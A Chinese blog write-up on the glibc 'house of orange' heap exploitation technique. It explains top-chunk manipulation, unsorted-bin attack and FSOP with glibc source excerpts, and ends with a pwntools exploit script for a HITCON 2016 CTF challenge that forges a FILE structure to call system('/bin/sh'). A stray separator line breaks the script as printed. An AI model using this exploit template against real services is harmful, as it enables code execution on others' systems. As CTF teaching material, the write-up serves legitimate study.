堆利用之house of orange

头秃,看了好几天,感觉还是没有讲清楚,tcl,等以后有更好的理解时再来改改

利用情景:没有 free 函数

不能释放堆空间,就很难泄露出我们想要的地址,但是 house of orange 可以解决此类问题,house of orange 由 地址泄露 + FSOP 两部分组成。

地址泄露

当我们申请一块内存时,malloc 函数会检查各种 bin 是否满足,都不满足条件之后会检查 top chunk ,如果此时 top chunk 也不能满足,就会调用 sysmalloc 来申请内存。

sysmalloc 会有两种处理方式,一种是直接 mmap 一块内存,另一种是拓展 top chunk(brk)

1
2
3
4
5
6
7
8
9
10
11
/*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/
if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&
(mp_.n_mmaps < mp_.n_mmaps_max))
{
char *mm; /* return value from mmap call*/
try_mmap:

这一段代码的意思是,如果申请大小 >= (unsigned long) (mp_.mmap_threshold) ,就会调用 mmap ,而一般 mmap_threshold 大小为 128*1024(0x20000),我们申请的大小小于它就行。

接着会有两个 assert 函数检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & pagemask) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

要求修改的 top_chunk 必须满足

  1. top_chunk_size > MINSIZE(0x10)
  2. top chunk inuse 位为1
  3. 修改之后的 size 必须要对齐到内存页(0x1000字节)
  4. top_chunk_size小于申请分配的内存即可

举个例子,假设 top chunk 的地址位于 0x6030d0 并且他的大小为 0x20f31 ,我们就应该重写他的大小为 0xf31 来绕过那些assert,并再次申请 0x1000 大小的 chunk。

满足上述四个条件后,继续执行就会触发 _int_free 把原来的 top chunk 给 free 掉,并放入 unsorted bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
top (av) = chunk_at_offset (heap, sizeof (*heap));
set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

/* Setup fencepost and free the old top chunk with a multiple of
MALLOC_ALIGNMENT in size. */
/* The fencepost takes at least MINSIZE bytes, because it might
become the top chunk again later. Note that a footer is set
up, too, although the chunk is marked in use. */
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);

此时我们已经得到了一个 unsorted bin ,当我们再次申请 unsorted bin 范围内的堆时,就会在 unsorted bin 中切割,同时也能泄露 libc 地址了。

需要注意的是,当我们再次分配堆的大小是 large_chunk(大于512字节) ,old_chunk 的堆地址会被放进堆中,也就是说我们既可以泄露 libc ,又能泄露出堆地址。

1

FSOP

FSOP(File Stream Oriented Programming)是一种劫持 _IO_list_all(libc.so中的全局变量) 来伪造链表的利用技术,通过调用 _IO_flush_all_lockp() 函数来触发,该函数会在下面三种情况下被调用:

  • libc 检测到内存错误时
  • 执行 exit 函数时
  • main 函数返回时

当 glibc 检测到内存错误时,会依次调用这样的函数路径:malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW

_IO_FILE 结构

先来看看 _IO_list_all 的定义

1
extern struct _IO_FILE_plus *_IO_list_all;

是由 _IO_FILE_plus 结构体定义的一个指针变量,指向结构体内部。

再来具体看看 _IO_FILE_plus 长什么样子

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

包含了一个 _IO_FILE 结构体和一个指向 _IO_jump_t 结构体的指针。

_IO_FILE file

_IO_FILE 结构体完全嵌入 _IO_FILE_plus 结构体中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;

这一大段源码晦涩难懂,但主要是要知道 FILE 结构会通过 _chain 域构成一个链表,链表头部用全局变量 _IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。

另外 _IO_wide_data 结构也是后面需要的:

_IO_wide_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Extra data for wide character streams.  */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;

wchar_t _shortbuf[1];

const struct _IO_jump_t *_wide_vtable;
};

_IO_jump_t *vtable

其中 vtable 指向的 _IO_jump_t 结构体只是一个跳转表,当程序对某个流进行操作时,会调用该流对应的跳转表中的某个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

unsortbin attack 劫持

Unsorted bin chunk摘除代码如下

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

只看最后两行就行,unsorted_chunkbk指针指向的是它后一个被释放的 chunk 的块地址(bck),后一个被释放的chunk 的fd指针指向的是unsorted_chunk的块地址,如果我们能够控制unsorted_chunkbk,那么就意味着可以将unsorted_chunks (av),即unsorted_chunk的块地址写到任意可写地址内。

攻击之前布局

image-20211104202631960

我们将_IO_list_all-0x10伪造成bk,那么此时bck->fd = unsorted_chunks (av) = _IO_list_all --> main_arena + 88

此时的 main_arena+88 相当于一个 IO_file_plus 结构,但是这里面的内容我们是不能完全控制的,但是 IO_file_plus 结构中还有个 _chain 指针,它位于 IO_file_plus+0x68 处,指向了下一个 IO_file_plus 结构体,像单链表一样串起来的。那么 _chain 在这就相当于 main_arena+88 + 0x68 = main_arena + 0xC0 处,而 main_arena + 0xC0 存储着的是 small bin 的头地址。所以,我们要让 main_arena + 0xC0 指向一个我们可控的地方,然后在那里伪造第二个 IO_file_plus 结构,即通过转移,让它转移到我们可控的地方。

image-20211104204914735

我们可以把 unsorted bin 的头结点的 size 改成 0x60 ,这样当我们调用 malloc ,glibc 会整理 unsorted bin ,把其放入 small bin 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static void *  
_int_malloc (mstate av, size_t bytes)
{
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size); //victim_index=6
bck = bin_at (av, victim_index); //bck=&av->bins[10]-0x10
fwd = bck->fd; //fwd=&av->bins[10]
}
...
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;//&av->bins[10]+0x18 = old_top
bck->fd = victim;

}

main_arena 结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct malloc_state  
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

av -> bins[10] + 0x18 = main_arena + 0x58 + 0x8*10 + 0x18 = main_arena + 0xC0 = old_top

我们让 unsorted bin 的 size 为 0x60,是为了让 chain 指针正好重新指回来,指向我们可控的地方。

malloc 函数报错处理

先要了解 malloc 函数报错时的处理,malloc_printerr malloc 中用来打印错误的函数。

1

malloc_printerr 函数其实是调用 __libc_message 函数之后又调用 abort 函数,abort 函数其中调用了 _IO_flush_all_lockp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif

last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all; // 将其覆盖为伪造的链表
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)) //要伪造的条件
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) // fp 指向伪造的 vtable
/*从_IO_list_all指向的FILE结构开始查找,找到合适_IO_FILE作为_IO_OVERFLOW的参数,执行vtable里面的函数,把IO_FILE结构体本身作为参数*/
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain; // 指向下一个 IO_FILE 对象
}

#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif

return result;
}

如果满足以下条件:

  1. fp-> _mode > 0

  2. _IO_vtable_offset (fp) == 0

  3. fp-> _wide_data -> _IO_write_ptr > fp-> _ wide_data -> _IO_write_base

    就会调用 _IO_OVERFLOW ,并把结构体当做第一个参数传入
    如果我们能够把 _IO_OVERFLOW 改为 system ,并且伪造结构体,开头为 /bin/sh ,就能获得 shell 了


简言之

  1. 利用堆溢出将 top chunk size 改小,使其进入 unsorted bin 泄露地址
  2. 在 unsorted bin 伪造使 size 变为 0x60 ,并伪造出一个 io_file 结构

例题

buu houseoforange_hitcon_2016

这题可以说是 house of orange 里的代表了,可以说上面每个手法都利用到了

程序没有 free 函数,有堆溢出并能改到 top chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
#context.log_level = 'debug'
sh = process('./main')
#sh = remote('node4.buuoj.cn',29741)
libc = ELF('2.23/libc.so.6')
#libc = ELF('./libc-2.23.so')

def build(size,name):
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Length of name :',str(size))
sh.sendafter('Name :',name)
sh.sendlineafter('Price of Orange:','123')
sh.sendlineafter('Color of Orange:','1')

def show():
sh.sendlineafter('Your choice :','2')

def edit(size,name):
sh.sendlineafter('Your choice :','3')
sh.sendlineafter('Length of name :',str(size))
sh.sendafter('Name:',name)
sh.sendlineafter('Price of Orange:','123')
sh.sendlineafter('Color of Orange:','1')

build(0x30,'a'*0x30)
#修改top chunk的size为0xF80
payload = 'a'*0x30 + p64(0) + p64(0x21) + 'b'*0x10 + p64(0) + p64(0xF80)
edit(len(payload),payload)

#申请一个比top chunk的size大的空间,那么top chunk会被放入unsorted bin
build(0x1000,'b')
build(0x400,'c')
show()
#接下来申请unsorted bin里的chunk,泄露libc地址和堆地址
sh.recvuntil('Name of house : ')
leak = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
io_list_all = (leak & 0xFFFFFFFFFFFFF000) + (libc.symbols['_IO_list_all'] & 0xFFF)
libcbase = io_list_all - libc.symbols['_IO_list_all']
system = libcbase + libc.sym['system']
'''
#这边算出的 io_list_all 地址是错的
sh.recvuntil('Name of house : ')
leak = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "leak: " + hex(leak)
libcbase = leak -4451
print "libcbase: " + hex(libcbase)
io_list_all = libcbase + libc.sym['_IO_list_all']
system = libc.symbols['system'] + libcbase
print "io_list_all: " + hex(io_list_all)
'''
payload = 'b' * 0x10
edit(0x10, payload)
show()
sh.recvuntil('b'*0x10)
heap = u64(sh.recvuntil('\x55')[-6:].ljust(8,'\x00'))
print "heap: " + hex(heap)
heap_base = heap - 0xE0
print "heap_base: " + hex(heap_base)
gdb.attach(sh)
-----------------------------------------------------------------------------------------------------
payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
#可以说是一个模板了
#执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串
fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0)*3
fake_file += p64(heap_base + 0x5E8)#vtable ptr
fake_file += p64(0)*2
fake_file += p64(system) #__overflow
payload += fake_file
edit(len(payload),payload)

sh.recv()
sh.sendline('1')

sh.interactive()

说一下被注释的地方为啥是错的,因为我们泄露出来的地址是处在 libc 的 data 段

image-20211105110222421

而我们需要的是代码段的基地址,可以看到算出来的 _IO_list_all 地址也是错的

image-20211105111705852

咋整捏,可以直接在 gdb 中找我们需要的函数地址,会发现我们泄露出来的地址和 _IO_list_all 很接近

image-20211105112143172

地址后三位是不会变的,于是想到直接凑

1
io_list_all = (leak & 0xFFFFFFFFFFFFF000) + (libc.symbols['_IO_list_all'] & 0xFFF)

然后就可以算出 libcbase 了


参考博客

https://blog.csdn.net/weixin_44145820/article/details/105270036

https://bbs.pediy.com/thread-222718.htm

https://blog.csdn.net/seaaseesa/article/details/104314949

https://www.cnblogs.com/L0g4n-blog/p/14217309.html